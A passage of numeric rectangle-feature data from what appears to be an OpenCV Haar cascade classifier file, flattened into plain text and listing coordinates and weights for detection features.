5 14 5 3 3. + <_> + + <_> + 16 0 4 11 -1. + <_> + 16 0 2 11 2. + <_> + + <_> + 7 0 6 1 -1. + <_> + 9 0 2 1 3. + <_> + + <_> + 16 3 3 7 -1. + <_> + 17 3 1 7 3. + <_> + + <_> + 1 3 3 7 -1. + <_> + 2 3 1 7 3. + <_> + + <_> + 7 8 6 12 -1. + <_> + 7 12 6 4 3. + <_> + + <_> + 0 0 4 11 -1. + <_> + 2 0 2 11 2. + <_> + + <_> + 14 0 6 20 -1. + <_> + 14 0 3 20 2. + <_> + + <_> + 0 3 1 2 -1. + <_> + 0 4 1 1 2. + <_> + + <_> + 5 5 10 8 -1. + <_> + 10 5 5 4 2. + <_> + 5 9 5 4 2. + <_> + + <_> + 4 7 12 4 -1. + <_> + 4 7 6 2 2. + <_> + 10 9 6 2 2. + <_> + + <_> + 2 1 6 4 -1. + <_> + 5 1 3 4 2. + <_> + + <_> + 9 7 6 4 -1. + <_> + 12 7 3 2 2. + <_> + 9 9 3 2 2. + <_> + + <_> + 5 6 2 6 -1. + <_> + 5 9 2 3 2. + <_> + + <_> + 9 16 6 4 -1. + <_> + 12 16 3 2 2. + <_> + 9 18 3 2 2. + <_> + + <_> + 9 4 2 12 -1. + <_> + 9 10 2 6 2. + <_> + + <_> + 7 1 6 18 -1. + <_> + 9 1 2 18 3. + <_> + + <_> + 4 12 12 2 -1. + <_> + 8 12 4 2 3. + <_> + + <_> + 8 8 6 2 -1. + <_> + 8 9 6 1 2. + <_> + + <_> + 8 0 3 6 -1. + <_> + 9 0 1 6 3. + <_> + + <_> + 11 18 3 2 -1. + <_> + 11 19 3 1 2. + <_> + + <_> + 1 1 17 4 -1. + <_> + 1 3 17 2 2. + <_> + + <_> + 11 8 4 12 -1. + <_> + 11 8 2 12 2. + <_> + + <_> + 8 14 4 3 -1. + <_> + 8 15 4 1 3. + <_> + + <_> + 12 3 2 17 -1. + <_> + 12 3 1 17 2. + <_> + + <_> + 4 7 6 1 -1. + <_> + 6 7 2 1 3. + <_> + + <_> + 18 3 2 3 -1. + <_> + 18 4 2 1 3. + <_> + + <_> + 8 4 3 4 -1. + <_> + 8 6 3 2 2. + <_> + + <_> + 4 5 12 10 -1. + <_> + 4 10 12 5 2. + <_> + + <_> + 5 18 4 2 -1. + <_> + 7 18 2 2 2. + <_> + + <_> + 17 2 3 6 -1. + <_> + 17 4 3 2 3. + <_> + + <_> + 7 7 6 6 -1. + <_> + 9 7 2 6 3. + <_> + + <_> + 17 2 3 6 -1. + <_> + 17 4 3 2 3. + <_> + + <_> + 8 0 3 4 -1. + <_> + 9 0 1 4 3. + <_> + + <_> + 9 14 2 3 -1. + <_> + 9 15 2 1 3. + <_> + + <_> + 0 12 6 3 -1. + <_> + 0 13 6 1 3. + <_> + + <_> + 8 14 4 3 -1. + <_> + 8 15 4 1 3. + <_> + + <_> + 3 12 2 3 -1. + <_> + 3 13 2 1 3. + <_> + + <_> + 5 6 12 7 -1. + <_> + 9 6 4 7 3. + <_> + + <_> + 0 2 3 6 -1. + <_> + 0 4 3 2 3. + <_> + + <_> + 14 6 1 3 -1. + <_> + 14 7 1 1 3. + <_> + + <_> + 2 0 3 14 -1. + <_> + 3 0 1 14 3. + <_> + + <_> + 12 14 5 6 -1. + <_> + 12 16 5 2 3. + <_> + + <_> + 4 14 5 6 -1. + <_> + 4 16 5 2 3. + <_> + + <_> + 11 10 2 2 -1. + <_> + 12 10 1 1 2. + <_> + 11 11 1 1 2. + <_> + + <_> + 5 0 3 14 -1. + <_> + 6 0 1 14 3. + <_> + + <_> + 10 15 2 3 -1. + <_> + 10 16 2 1 3. + <_> + + <_> + 0 2 2 3 -1. + <_> + 0 3 2 1 3. + <_> + + <_> + 5 11 12 6 -1. + <_> + 5 14 12 3 2. + <_> + + <_> + 6 11 3 9 -1. + <_> + 6 14 3 3 3. + <_> + + <_> + 11 10 2 2 -1. + <_> + 12 10 1 1 2. + <_> + 11 11 1 1 2. + <_> + + <_> + 5 6 1 3 -1. + <_> + 5 7 1 1 3. + <_> + + <_> + 4 9 13 3 -1. + <_> + 4 10 13 1 3. + <_> + + <_> + 1 7 15 6 -1. + <_> + 6 7 5 6 3. + <_> + + <_> + 4 5 12 6 -1. + <_> + 8 5 4 6 3. + <_> + + <_> + 8 10 4 3 -1. + <_> + 8 11 4 1 3. + <_> + + <_> + 15 14 1 3 -1. + <_> + 15 15 1 1 3. + <_> + + <_> + 1 11 5 3 -1. + <_> + 1 12 5 1 3. + <_> + + <_> + 7 1 7 12 -1. + <_> + 7 7 7 6 2. + <_> + + <_> + 0 1 6 10 -1. + <_> + 0 1 3 5 2. + <_> + 3 6 3 5 2. + <_> + + <_> + 16 1 4 3 -1. + <_> + 16 2 4 1 3. + <_> + + <_> + 5 5 2 3 -1. + <_> + 5 6 2 1 3. + <_> + + <_> + 12 2 3 5 -1. + <_> + 13 2 1 5 3. + <_> + + <_> + 0 3 4 6 -1. + <_> + 0 5 4 2 3. + <_> + + <_> + 8 12 4 2 -1. + <_> + 8 13 4 1 2. + <_> + + <_> + 8 18 3 1 -1. + <_> + 9 18 1 1 3. + <_> + + <_> + 11 10 2 2 -1. + <_> + 12 10 1 1 2. + <_> + 11 11 1 1 2. + <_> + + <_> + 7 10 2 2 -1. + <_> + 7 10 1 1 2. + <_> + 8 11 1 1 2. + <_> + + <_> + 11 11 4 4 -1. + <_> + 11 13 4 2 2. + <_> + + <_> + 8 12 3 8 -1. + <_> + 9 12 1 8 3. + <_> + + <_> + 13 0 6 3 -1. + <_> + 13 1 6 1 3. + <_> + + <_> + 8 8 3 4 -1. + <_> + 9 8 1 4 3. + <_> + + <_> + 5 7 10 10 -1. + <_> + 10 7 5 5 2. + <_> + 5 12 5 5 2. + <_> + + <_> + 3 18 8 2 -1. + <_> + 3 18 4 1 2. + <_> + 7 19 4 1 2. + <_> + + <_> + 10 2 6 8 -1. + <_> + 12 2 2 8 3. + <_> + + <_> + 4 2 6 8 -1. + <_> + 6 2 2 8 3. + <_> + + <_> + 11 0 3 7 -1. + <_> + 12 0 1 7 3. + <_> + + <_> + 7 11 2 1 -1. + <_> + 8 11 1 1 2. + <_> + + <_> + 15 14 1 3 -1. + <_> + 15 15 1 1 3. + <_> + + <_> + 7 15 2 2 -1. + <_> + 7 15 1 1 2. + <_> + 8 16 1 1 2. + <_> + + <_> + 15 14 1 3 -1. + <_> + 15 15 1 1 3. + <_> + + <_> + 6 0 3 7 -1. + <_> + 7 0 1 7 3. + <_> + + <_> + 18 1 2 7 -1. + <_> + 18 1 1 7 2. + <_> + + <_> + 2 0 8 20 -1. + <_> + 2 10 8 10 2. + <_> + + <_> + 3 0 15 6 -1. + <_> + 3 2 15 2 3. + <_> + + <_> + 4 3 12 2 -1. + <_> + 4 4 12 1 2. + <_> + + <_> + 16 0 4 5 -1. + <_> + 16 0 2 5 2. + <_> + + <_> + 7 0 3 4 -1. + <_> + 8 0 1 4 3. + <_> + + <_> + 16 0 4 5 -1. + <_> + 16 0 2 5 2. + <_> + + <_> + 1 7 6 13 -1. + <_> + 3 7 2 13 3. + <_> + + <_> + 16 0 4 5 -1. + <_> + 16 0 2 5 2. + <_> + + <_> + 0 0 4 5 -1. + <_> + 2 0 2 5 2. + <_> + + <_> + 14 12 3 6 -1. + <_> + 14 14 3 2 3. + <_> + + <_> + 3 12 3 6 -1. + <_> + 3 14 3 2 3. + <_> + + <_> + 16 1 4 3 -1. + <_> + 16 2 4 1 3. + <_> + + <_> + 8 7 2 10 -1. + <_> + 8 7 1 5 2. + <_> + 9 12 1 5 2. + <_> + + <_> + 11 11 4 4 -1. + <_> + 11 13 4 2 2. + <_> + + <_> + 0 1 4 3 -1. + <_> + 0 2 4 1 3. + <_> + + <_> + 13 4 1 3 -1. + <_> + 13 5 1 1 3. + <_> + + <_> + 7 15 3 5 -1. + <_> + 8 15 1 5 3. + <_> + + <_> + 9 7 3 5 -1. + <_> + 10 7 1 5 3. + <_> + + <_> + 8 7 3 5 -1. + <_> + 9 7 1 5 3. + <_> + + <_> + 10 6 4 14 -1. + <_> + 10 6 2 14 2. + <_> + + <_> + 0 5 5 6 -1. + <_> + 0 7 5 2 3. + <_> + + <_> + 9 5 6 4 -1. + <_> + 9 5 3 4 2. + <_> + + <_> + 0 0 18 10 -1. + <_> + 6 0 6 10 3. + <_> + + <_> + 10 6 4 14 -1. + <_> + 10 6 2 14 2. + <_> + + <_> + 6 6 4 14 -1. + <_> + 8 6 2 14 2. + <_> + + <_> + 13 4 1 3 -1. + <_> + 13 5 1 1 3. + <_> + + <_> + 5 1 2 3 -1. + <_> + 6 1 1 3 2. + <_> + + <_> + 18 1 2 18 -1. + <_> + 19 1 1 9 2. + <_> + 18 10 1 9 2. + <_> + + <_> + 2 1 4 3 -1. + <_> + 2 2 4 1 3. + <_> + + <_> + 18 1 2 18 -1. + <_> + 19 1 1 9 2. + <_> + 18 10 1 9 2. + <_> + + <_> + 1 14 4 6 -1. + <_> + 1 14 2 3 2. + <_> + 3 17 2 3 2. + <_> + + <_> + 10 11 7 6 -1. + <_> + 10 13 7 2 3. + <_> + + <_> + 0 10 6 10 -1. + <_> + 0 10 3 5 2. + <_> + 3 15 3 5 2. + <_> + + <_> + 11 0 3 4 -1. + <_> + 12 0 1 4 3. + <_> + + <_> + 5 10 5 6 -1. + <_> + 5 13 5 3 2. + <_> + + <_> + 14 6 1 8 -1. + <_> + 14 10 1 4 2. + <_> + + <_> + 1 7 18 6 -1. + <_> + 1 7 9 3 2. + <_> + 10 10 9 3 2. + <_> + + <_> + 9 7 2 2 -1. + <_> + 9 7 1 2 2. + <_> + + <_> + 5 9 4 5 -1. + <_> + 7 9 2 5 2. + <_> + + <_> + 7 6 6 3 -1. + <_> + 9 6 2 3 3. + <_> + + <_> + 1 0 18 4 -1. + <_> + 7 0 6 4 3. + <_> + + <_> + 7 15 2 4 -1. + <_> + 7 17 2 2 2. + <_> + + <_> + 1 0 19 9 -1. + <_> + 1 3 19 3 3. + <_> + + <_> + 3 7 3 6 -1. + <_> + 3 9 3 2 3. + <_> + + <_> + 13 7 4 4 -1. + <_> + 15 7 2 2 2. + <_> + 13 9 2 2 2. + <_> + + <_> + 3 7 4 4 -1. + <_> + 3 7 2 2 2. + <_> + 5 9 2 2 2. + <_> + + <_> + 9 6 10 8 -1. + <_> + 9 10 10 4 2. + <_> + + <_> + 3 8 14 12 -1. + <_> + 3 14 14 6 2. + <_> + + <_> + 6 5 10 12 -1. + <_> + 11 5 5 6 2. + <_> + 6 11 5 6 2. + <_> + + <_> + 9 11 2 3 -1. + <_> + 9 12 2 1 3. + <_> + + <_> + 9 5 6 5 -1. + <_> + 9 5 3 5 2. + <_> + + <_> + 9 4 2 4 -1. + <_> + 9 6 2 2 2. + <_> + + <_> + 9 5 6 5 -1. + <_> + 9 5 3 5 2. + <_> + + <_> + 5 5 6 5 -1. + <_> + 8 5 3 5 2. + <_> + + <_> + 11 2 6 1 -1. + <_> + 13 2 2 1 3. + <_> + + <_> + 3 2 6 1 -1. + <_> + 5 2 2 1 3. + <_> + + <_> + 13 5 2 3 -1. + <_> + 13 6 2 1 3. + <_> + + <_> + 0 10 1 4 -1. + <_> + 0 12 1 2 2. + <_> + + <_> + 13 5 2 3 -1. + <_> + 13 6 2 1 3. + <_> + + <_> + 8 18 3 2 -1. + <_> + 9 18 1 2 3. + <_> + + <_> + 6 15 9 2 -1. + <_> + 6 16 9 1 2. + <_> + + <_> + 8 14 4 3 -1. + <_> + 8 15 4 1 3. + <_> + + <_> + 18 4 2 4 -1. + <_> + 18 6 2 2 2. + <_> + + <_> + 5 5 2 3 -1. + <_> + 5 6 2 1 3. + <_> + + <_> + 15 16 3 2 -1. + <_> + 15 17 3 1 2. + <_> + + <_> + 0 0 3 9 -1. + <_> + 0 3 3 3 3. + <_> + + <_> + 9 7 3 3 -1. + <_> + 9 8 3 1 3. + <_> + + <_> + 8 7 3 3 -1. + <_> + 8 8 3 1 3. + <_> + + <_> + 9 5 2 6 -1. + <_> + 9 5 1 6 2. + <_> + + <_> + 8 6 3 4 -1. + <_> + 9 6 1 4 3. + <_> + + <_> + 7 6 8 12 -1. + <_> + 11 6 4 6 2. + <_> + 7 12 4 6 2. + <_> + + <_> + 5 6 8 12 -1. + <_> + 5 6 4 6 2. + <_> + 9 12 4 6 2. + <_> + + <_> + 12 4 3 3 -1. + <_> + 12 5 3 1 3. + <_> + + <_> + 2 16 3 2 -1. + <_> + 2 17 3 1 2. + <_> + + <_> + 12 4 3 3 -1. + <_> + 12 5 3 1 3. + <_> + + <_> + 2 12 6 6 -1. + <_> + 2 14 6 2 3. + <_> + + <_> + 7 13 6 3 -1. + <_> + 7 14 6 1 3. + <_> + + <_> + 6 14 6 3 -1. + <_> + 6 15 6 1 3. + <_> + + <_> + 14 15 5 3 -1. + <_> + 14 16 5 1 3. + <_> + + <_> + 5 4 3 3 -1. + <_> + 5 5 3 1 3. + <_> + + <_> + 14 15 5 3 -1. + <_> + 14 16 5 1 3. + <_> + + <_> + 5 3 6 2 -1. + <_> + 7 3 2 2 3. + <_> + + <_> + 8 15 4 3 -1. + <_> + 8 16 4 1 3. + <_> + + <_> + 1 15 5 3 -1. + <_> + 1 16 5 1 3. + <_> + + <_> + 8 13 4 6 -1. + <_> + 10 13 2 3 2. + <_> + 8 16 2 3 2. + <_> + + <_> + 7 8 3 3 -1. + <_> + 8 8 1 3 3. + <_> + + <_> + 12 0 5 4 -1. + <_> + 12 2 5 2 2. + <_> + + <_> + 0 2 20 2 -1. + <_> + 0 2 10 1 2. + <_> + 10 3 10 1 2. + <_> + + <_> + 1 0 18 4 -1. + <_> + 7 0 6 4 3. + <_> + + <_> + 4 3 6 1 -1. + <_> + 6 3 2 1 3. + <_> + + <_> + 4 18 13 2 -1. + <_> + 4 19 13 1 2. + <_> + + <_> + 2 10 3 6 -1. + <_> + 2 12 3 2 3. + <_> + + <_> + 14 12 6 8 -1. + <_> + 17 12 3 4 2. + <_> + 14 16 3 4 2. + <_> + + <_> + 4 13 10 6 -1. + <_> + 4 13 5 3 2. + <_> + 9 16 5 3 2. + <_> + + <_> + 14 12 1 2 -1. + <_> + 14 13 1 1 2. + <_> + + <_> + 8 13 4 3 -1. + <_> + 8 14 4 1 3. + <_> + + <_> + 14 12 2 2 -1. + <_> + 14 13 2 1 2. + <_> + + <_> + 4 12 2 2 -1. + <_> + 4 13 2 1 2. + <_> + + <_> + 8 12 9 2 -1. + <_> + 8 13 9 1 2. + <_> + + <_> + 9 14 2 3 -1. + <_> + 9 15 2 1 3. + <_> + + <_> + 11 10 3 6 -1. + <_> + 11 13 3 3 2. + <_> + + <_> + 5 6 9 12 -1. + <_> + 5 12 9 6 2. + <_> + + <_> + 11 10 3 6 -1. + <_> + 11 13 3 3 2. + <_> + + <_> + 6 10 3 6 -1. + <_> + 6 13 3 3 2. + <_> + + <_> + 5 4 11 3 -1. + <_> + 5 5 11 1 3. + <_> + + <_> + 7 1 5 10 -1. + <_> + 7 6 5 5 2. + <_> + + <_> + 2 8 18 2 -1. + <_> + 2 9 18 1 2. + <_> + + <_> + 7 17 5 3 -1. + <_> + 7 18 5 1 3. + <_> + + <_> + 5 9 12 1 -1. + <_> + 9 9 4 1 3. + <_> + + <_> + 0 14 6 6 -1. + <_> + 0 14 3 3 2. + <_> + 3 17 3 3 2. + <_> + + <_> + 5 9 12 1 -1. + <_> + 9 9 4 1 3. + <_> + + <_> + 3 9 12 1 -1. + <_> + 7 9 4 1 3. + <_> + + <_> + 14 10 6 7 -1. + <_> + 14 10 3 7 2. + <_> + + <_> + 1 0 16 2 -1. + <_> + 1 1 16 1 2. + <_> + + <_> + 10 9 10 9 -1. + <_> + 10 12 10 3 3. + <_> + + <_> + 0 1 10 2 -1. + <_> + 5 1 5 2 2. + <_> + + <_> + 17 3 2 3 -1. + <_> + 17 4 2 1 3. + <_> + + <_> + 1 3 2 3 -1. + <_> + 1 4 2 1 3. + <_> + + <_> + 9 7 3 6 -1. + <_> + 10 7 1 6 3. + <_> + + <_> + 6 5 4 3 -1. + <_> + 8 5 2 3 2. + <_> + + <_> + 7 5 6 6 -1. + <_> + 9 5 2 6 3. + <_> + + <_> + 3 4 12 12 -1. + <_> + 3 4 6 6 2. + <_> + 9 10 6 6 2. + <_> + + <_> + 9 2 6 15 -1. + <_> + 11 2 2 15 3. + <_> + + <_> + 2 2 6 17 -1. + <_> + 4 2 2 17 3. + <_> + + <_> + 14 10 6 7 -1. + <_> + 14 10 3 7 2. + <_> + + <_> + 0 10 6 7 -1. + <_> + 3 10 3 7 2. + <_> + + <_> + 9 2 6 15 -1. + <_> + 11 2 2 15 3. + <_> + + <_> + 5 2 6 15 -1. + <_> + 7 2 2 15 3. + <_> + + <_> + 17 9 3 6 -1. + <_> + 17 11 3 2 3. + <_> + + <_> + 6 7 6 6 -1. + <_> + 8 7 2 6 3. + <_> + + <_> + 1 10 18 6 -1. + <_> + 10 10 9 3 2. + <_> + 1 13 9 3 2. + <_> + + <_> + 0 9 10 9 -1. + <_> + 0 12 10 3 3. + <_> + + <_> + 8 15 4 3 -1. + <_> + 8 16 4 1 3. + <_> + + <_> + 5 12 3 4 -1. + <_> + 5 14 3 2 2. + <_> + + <_> + 3 3 16 12 -1. + <_> + 3 9 16 6 2. + <_> + + <_> + 1 1 12 12 -1. + <_> + 1 1 6 6 2. + <_> + 7 7 6 6 2. + <_> + + <_> + 10 4 2 4 -1. + <_> + 11 4 1 2 2. + <_> + 10 6 1 2 2. + <_> + + <_> + 0 9 10 2 -1. + <_> + 0 9 5 1 2. + <_> + 5 10 5 1 2. + <_> + + <_> + 9 11 3 3 -1. + <_> + 9 12 3 1 3. + <_> + + <_> + 3 12 9 2 -1. + <_> + 3 13 9 1 2. + <_> + + <_> + 9 9 2 2 -1. + <_> + 9 10 2 1 2. + <_> + + <_> + 3 4 13 6 -1. + <_> + 3 6 13 2 3. + <_> + + <_> + 9 7 6 4 -1. + <_> + 12 7 3 2 2. + <_> + 9 9 3 2 2. + <_> + + <_> + 1 0 6 8 -1. + <_> + 4 0 3 8 2. + <_> + + <_> + 9 5 2 12 -1. + <_> + 9 11 2 6 2. + <_> + + <_> + 4 4 3 10 -1. + <_> + 4 9 3 5 2. + <_> + + <_> + 6 17 8 3 -1. + <_> + 6 18 8 1 3. + <_> + + <_> + 0 5 10 6 -1. + <_> + 0 7 10 2 3. + <_> + + <_> + 13 2 3 2 -1. + <_> + 13 3 3 1 2. + <_> + + <_> + 7 5 4 5 -1. + <_> + 9 5 2 5 2. + <_> + + <_> + 12 14 3 6 -1. + <_> + 12 16 3 2 3. + <_> + + <_> + 1 11 8 2 -1. + <_> + 1 12 8 1 2. + <_> + + <_> + 7 13 6 3 -1. + <_> + 7 14 6 1 3. + <_> + + <_> + 0 5 3 6 -1. + <_> + 0 7 3 2 3. + <_> + + <_> + 13 2 3 2 -1. + <_> + 13 3 3 1 2. + <_> + + <_> + 4 14 4 6 -1. + <_> + 4 14 2 3 2. + <_> + 6 17 2 3 2. + <_> + + <_> + 13 2 3 2 -1. + <_> + 13 3 3 1 2. + <_> + + <_> + 8 2 4 12 -1. + <_> + 8 6 4 4 3. + <_> + + <_> + 14 0 6 8 -1. + <_> + 17 0 3 4 2. + <_> + 14 4 3 4 2. + <_> + + <_> + 7 17 3 2 -1. + <_> + 8 17 1 2 3. + <_> + + <_> + 8 12 4 2 -1. + <_> + 8 13 4 1 2. + <_> + + <_> + 6 0 8 12 -1. + <_> + 6 0 4 6 2. + <_> + 10 6 4 6 2. + <_> + + <_> + 14 0 2 10 -1. + <_> + 15 0 1 5 2. + <_> + 14 5 1 5 2. + <_> + + <_> + 5 3 8 6 -1. + <_> + 5 3 4 3 2. + <_> + 9 6 4 3 2. + <_> + + <_> + 14 0 6 10 -1. + <_> + 17 0 3 5 2. + <_> + 14 5 3 5 2. + <_> + + <_> + 9 14 1 2 -1. + <_> + 9 15 1 1 2. + <_> + + <_> + 15 10 4 3 -1. + <_> + 15 11 4 1 3. + <_> + + <_> + 8 14 2 3 -1. + <_> + 8 15 2 1 3. + <_> + + <_> + 3 13 14 4 -1. + <_> + 10 13 7 2 2. + <_> + 3 15 7 2 2. + <_> + + <_> + 1 10 4 3 -1. + <_> + 1 11 4 1 3. + <_> + + <_> + 9 11 6 1 -1. + <_> + 11 11 2 1 3. + <_> + + <_> + 5 11 6 1 -1. + <_> + 7 11 2 1 3. + <_> + + <_> + 3 5 16 15 -1. + <_> + 3 10 16 5 3. + <_> + + <_> + 6 12 4 2 -1. + <_> + 8 12 2 2 2. + <_> + + <_> + 4 4 12 10 -1. + <_> + 10 4 6 5 2. + <_> + 4 9 6 5 2. + <_> + + <_> + 8 6 3 4 -1. + <_> + 9 6 1 4 3. + <_> + + <_> + 8 12 4 8 -1. + <_> + 10 12 2 4 2. + <_> + 8 16 2 4 2. + <_> + + <_> + 8 14 4 3 -1. + <_> + 8 15 4 1 3. + <_> + + <_> + 12 2 3 2 -1. + <_> + 13 2 1 2 3. + <_> + + <_> + 8 15 3 2 -1. + <_> + 8 16 3 1 2. + <_> + + <_> + 6 0 9 14 -1. + <_> + 9 0 3 14 3. + <_> + + <_> + 9 6 2 3 -1. + <_> + 10 6 1 3 2. + <_> + + <_> + 10 8 2 3 -1. + <_> + 10 9 2 1 3. + <_> + + <_> + 0 9 4 6 -1. + <_> + 0 11 4 2 3. + <_> + + <_> + 6 0 8 2 -1. + <_> + 6 1 8 1 2. + <_> + + <_> + 6 14 7 3 -1. + <_> + 6 15 7 1 3. + <_> + + <_> + 8 10 8 9 -1. + <_> + 8 13 8 3 3. + <_> + + <_> + 5 2 3 2 -1. + <_> + 6 2 1 2 3. + <_> + + <_> + 14 1 6 8 -1. + <_> + 17 1 3 4 2. + <_> + 14 5 3 4 2. + <_> + + <_> + 0 1 6 8 -1. + <_> + 0 1 3 4 2. + <_> + 3 5 3 4 2. + <_> + + <_> + 1 2 18 6 -1. + <_> + 10 2 9 3 2. + <_> + 1 5 9 3 2. + <_> + + <_> + 9 3 2 1 -1. + <_> + 10 3 1 1 2. + <_> + + <_> + 13 2 4 6 -1. + <_> + 15 2 2 3 2. + <_> + 13 5 2 3 2. + <_> + + <_> + 5 4 3 3 -1. + <_> + 5 5 3 1 3. + <_> + + <_> + 13 5 1 3 -1. + <_> + 13 6 1 1 3. + <_> + + <_> + 2 16 5 3 -1. + <_> + 2 17 5 1 3. + <_> + + <_> + 13 2 4 6 -1. + <_> + 15 2 2 3 2. + <_> + 13 5 2 3 2. + <_> + + <_> + 3 2 4 6 -1. + <_> + 3 2 2 3 2. + <_> + 5 5 2 3 2. + <_> + + <_> + 13 5 1 2 -1. + <_> + 13 6 1 1 2. + <_> + + <_> + 5 5 2 2 -1. + <_> + 5 6 2 1 2. + <_> + + <_> + 13 9 2 2 -1. + <_> + 13 9 1 2 2. + <_> + + <_> + 5 9 2 2 -1. + <_> + 6 9 1 2 2. + <_> + + <_> + 13 17 3 2 -1. + <_> + 13 18 3 1 2. + <_> + + <_> + 6 16 4 4 -1. + <_> + 6 16 2 2 2. + <_> + 8 18 2 2 2. + <_> + + <_> + 9 16 2 3 -1. + <_> + 9 17 2 1 3. + <_> + + <_> + 0 13 9 6 -1. + <_> + 0 15 9 2 3. + <_> + + <_> + 9 14 2 6 -1. + <_> + 9 17 2 3 2. + <_> + + <_> + 9 15 2 3 -1. + <_> + 9 16 2 1 3. + <_> + + <_> + 1 10 18 6 -1. + <_> + 1 12 18 2 3. + <_> + + <_> + 8 11 4 2 -1. + <_> + 8 12 4 1 2. + <_> + + <_> + 7 9 6 2 -1. + <_> + 7 10 6 1 2. + <_> + + <_> + 8 8 2 3 -1. + <_> + 8 9 2 1 3. + <_> + + <_> + 17 5 3 4 -1. + <_> + 18 5 1 4 3. + <_> + + <_> + 1 19 18 1 -1. + <_> + 7 19 6 1 3. + <_> + + <_> + 9 0 3 2 -1. + <_> + 10 0 1 2 3. + <_> + + <_> + 1 8 1 6 -1. + <_> + 1 10 1 2 3. + <_> + + <_> + 12 17 8 3 -1. + <_> + 12 17 4 3 2. + <_> + + <_> + 0 5 3 4 -1. + <_> + 1 5 1 4 3. + <_> + + <_> + 9 7 2 3 -1. + <_> + 9 8 2 1 3. + <_> + + <_> + 7 11 2 2 -1. + <_> + 7 11 1 1 2. + <_> + 8 12 1 1 2. + <_> + + <_> + 11 3 2 5 -1. + <_> + 11 3 1 5 2. + <_> + + <_> + 7 3 2 5 -1. + <_> + 8 3 1 5 2. + <_> + + <_> + 15 13 2 3 -1. + <_> + 15 14 2 1 3. + <_> + + <_> + 5 6 2 3 -1. + <_> + 5 7 2 1 3. + <_> + + <_> + 4 19 15 1 -1. + <_> + 9 19 5 1 3. + <_> + + <_> + 1 19 15 1 -1. + <_> + 6 19 5 1 3. + <_> + + <_> + 15 13 2 3 -1. + <_> + 15 14 2 1 3. + <_> + + <_> + 5 0 4 15 -1. + <_> + 7 0 2 15 2. + <_> + + <_> + 9 6 2 5 -1. + <_> + 9 6 1 5 2. + <_> + + <_> + 9 5 2 7 -1. + <_> + 10 5 1 7 2. + <_> + + <_> + 16 11 3 3 -1. + <_> + 16 12 3 1 3. + <_> + + <_> + 1 11 3 3 -1. + <_> + 1 12 3 1 3. + <_> + + <_> + 6 6 8 3 -1. + <_> + 6 7 8 1 3. + <_> + + <_> + 0 15 6 2 -1. + <_> + 0 16 6 1 2. + <_> + + <_> + 1 0 18 6 -1. + <_> + 7 0 6 6 3. + <_> + + <_> + 6 0 3 4 -1. + <_> + 7 0 1 4 3. + <_> + + <_> + 14 10 4 10 -1. + <_> + 16 10 2 5 2. + <_> + 14 15 2 5 2. + <_> + + <_> + 3 2 3 2 -1. + <_> + 4 2 1 2 3. + <_> + + <_> + 11 2 2 2 -1. + <_> + 11 3 2 1 2. + <_> + + <_> + 2 10 4 10 -1. + <_> + 2 10 2 5 2. + <_> + 4 15 2 5 2. + <_> + + <_> + 0 13 20 6 -1. + <_> + 10 13 10 3 2. + <_> + 0 16 10 3 2. + <_> + + <_> + 0 5 2 15 -1. + <_> + 1 5 1 15 2. + <_> + + <_> + 1 7 18 4 -1. + <_> + 10 7 9 2 2. + <_> + 1 9 9 2 2. + <_> + + <_> + 0 0 2 17 -1. + <_> + 1 0 1 17 2. + <_> + + <_> + 2 6 16 6 -1. + <_> + 10 6 8 3 2. + <_> + 2 9 8 3 2. + <_> + + <_> + 8 14 1 3 -1. + <_> + 8 15 1 1 3. + <_> + + <_> + 8 15 4 2 -1. + <_> + 8 16 4 1 2. + <_> + + <_> + 5 2 8 2 -1. + <_> + 5 2 4 1 2. + <_> + 9 3 4 1 2. + <_> + + <_> + 6 11 8 6 -1. + <_> + 6 14 8 3 2. + <_> + + <_> + 9 13 2 2 -1. + <_> + 9 14 2 1 2. + <_> + + <_> + 18 4 2 6 -1. + <_> + 18 6 2 2 3. + <_> + + <_> + 9 12 2 2 -1. + <_> + 9 13 2 1 2. + <_> + + <_> + 18 4 2 6 -1. + <_> + 18 6 2 2 3. + <_> + + <_> + 9 13 1 3 -1. + <_> + 9 14 1 1 3. + <_> + + <_> + 18 4 2 6 -1. + <_> + 18 6 2 2 3. + <_> + + <_> + 0 4 2 6 -1. + <_> + 0 6 2 2 3. + <_> + + <_> + 9 12 3 3 -1. + <_> + 9 13 3 1 3. + <_> + + <_> + 3 13 2 3 -1. + <_> + 3 14 2 1 3. + <_> + + <_> + 13 13 4 3 -1. + <_> + 13 14 4 1 3. + <_> + + <_> + 5 4 3 3 -1. + <_> + 5 5 3 1 3. + <_> + + <_> + 5 2 10 6 -1. + <_> + 5 4 10 2 3. + <_> + + <_> + 3 13 4 3 -1. + <_> + 3 14 4 1 3. + <_> + + <_> + 3 7 15 5 -1. + <_> + 8 7 5 5 3. + <_> + + <_> + 3 7 12 2 -1. + <_> + 7 7 4 2 3. + <_> + + <_> + 10 3 3 9 -1. + <_> + 11 3 1 9 3. + <_> + + <_> + 8 6 4 6 -1. + <_> + 10 6 2 6 2. + <_> + + <_> + 9 7 4 3 -1. + <_> + 9 8 4 1 3. + <_> + + <_> + 0 9 4 9 -1. + <_> + 2 9 2 9 2. + <_> + + <_> + 9 13 3 5 -1. + <_> + 10 13 1 5 3. + <_> + + <_> + 7 7 6 3 -1. + <_> + 9 7 2 3 3. + <_> + + <_> + 9 7 3 5 -1. + <_> + 10 7 1 5 3. + <_> + + <_> + 5 7 8 2 -1. + <_> + 9 7 4 2 2. + <_> + + <_> + 5 9 12 2 -1. + <_> + 9 9 4 2 3. + <_> + + <_> + 5 6 10 3 -1. + <_> + 10 6 5 3 2. + <_> + + <_> + 10 12 3 1 -1. + <_> + 11 12 1 1 3. + <_> + + <_> + 0 1 11 15 -1. + <_> + 0 6 11 5 3. + <_> + + <_> + 1 0 18 6 -1. + <_> + 7 0 6 6 3. + <_> + + <_> + 7 7 6 1 -1. + <_> + 9 7 2 1 3. + <_> + + <_> + 5 16 6 4 -1. + <_> + 5 16 3 2 2. + <_> + 8 18 3 2 2. + <_> + + <_> + 6 5 9 8 -1. + <_> + 6 9 9 4 2. + <_> + + <_> + 5 10 2 6 -1. + <_> + 5 13 2 3 2. + <_> + + <_> + 7 6 8 10 -1. + <_> + 11 6 4 5 2. + <_> + 7 11 4 5 2. + <_> + + <_> + 5 6 8 10 -1. + <_> + 5 6 4 5 2. + <_> + 9 11 4 5 2. + <_> + + <_> + 9 5 2 2 -1. + <_> + 9 6 2 1 2. + <_> + + <_> + 5 12 8 2 -1. + <_> + 5 13 8 1 2. + <_> + + <_> + 10 2 8 2 -1. + <_> + 10 3 8 1 2. + <_> + + <_> + 4 0 2 10 -1. + <_> + 4 0 1 5 2. + <_> + 5 